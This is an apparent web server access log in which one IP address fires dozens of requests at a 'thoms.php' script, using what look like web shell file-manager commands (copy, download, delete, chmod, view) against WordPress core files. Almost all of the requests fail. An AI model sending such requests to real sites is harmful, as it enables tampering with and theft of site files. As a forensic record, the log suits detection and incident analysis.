45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-requests-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frest-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frest-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?dl=class-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /biotaiwan.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /biotaiwan.com.tw/wp-includes/feed-rss2-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?chmod=block-bindings&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fl10n.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fl10n.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /biotaiwan.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?chmod=ms-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /biotaiwan.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?chmod=view-config.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?dl=cache-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Futf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Futf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:52 -0400] "GET /thoms.php?chmod=vars.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=vars.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?del=build&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=build&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?dl=block-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?del=Text&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=Text&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?chmod=class-pop3.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-pop3.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?del=class-smtp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-smtp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?chmod=class-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?chmod=class-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?dl=class-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=comment-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=comment-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?dl=ms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?del=assets&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=assets&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:53 -0400] "GET /thoms.php?chmod=cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?del=class-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /biotaiwan.com.tw/wp-includes/error-protection.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?del=class-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /biotaiwan.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1304 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?chmod=class-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?dl=feed-atom.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?dl=block-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?del=class-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-curl.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-curl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
